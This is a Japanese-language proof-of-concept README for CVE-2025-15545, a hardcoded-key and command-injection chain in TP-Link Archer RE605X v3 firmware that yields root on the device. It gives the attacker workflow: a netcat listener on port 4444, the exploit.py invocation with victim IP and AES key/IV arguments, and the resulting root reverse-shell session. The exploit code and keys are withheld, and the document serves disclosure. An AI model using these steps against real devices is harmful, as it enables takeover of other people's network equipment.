
CVE-2025-15545 の概念実証
ベンダー: TP-Link
ベンダーのウェブサイト: TP-Link
モデル: Archer RE605X
ハードウェアバージョン: RE605X v3.0
ファームウェアバージョン: RE605X(EU)_V3_1.1.5 Build 20240905
ファームウェアダウンロードアドレス: TP-Link
一連の脆弱性(ハードコードされた暗号鍵の使用やXML設定パーサーコンポーネントにおけるコマンドインジェクションを含む)により、ローカルの認証された攻撃者がデバイス上でroot権限でリモートコード実行(RCE)を達成することが可能になります。
注: exploit.pyの概念実証はチェーン攻撃シナリオを示しており、追加の前提条件として認証されたユーザーの資格情報に依存しています。この認証ステップはCVE-2025-15545の対象外であり、デモンストレーション目的でのみ含まれています。
別の端末で着信接続を待機します:
$ nc -lvnp 4444
exploit.pyスクリプトを実行します:
$ sudo python3 exploit.py <interface> <victim_ip> <repeater_ip> <aes_key> <aes_iv>
注: aes_keyとaes_ivは、デバイスが設定ファイルの暗号化と復号化に使用するハードコードされた暗号鍵であり、この概念実証に必要です。セキュリティ上の理由からここでは共有できません。
最初の端末でリバースシェルを受信します:
$ nc -lvnp 4444
Connection from 192.168.0.254:42762
# ls
cgi-bin
index-notice.html
index-url.html
index.html
webpages
# id -un
root
# uname -n
OpenWrt
これらの脆弱性はNicola Giuffridaによって報告されました。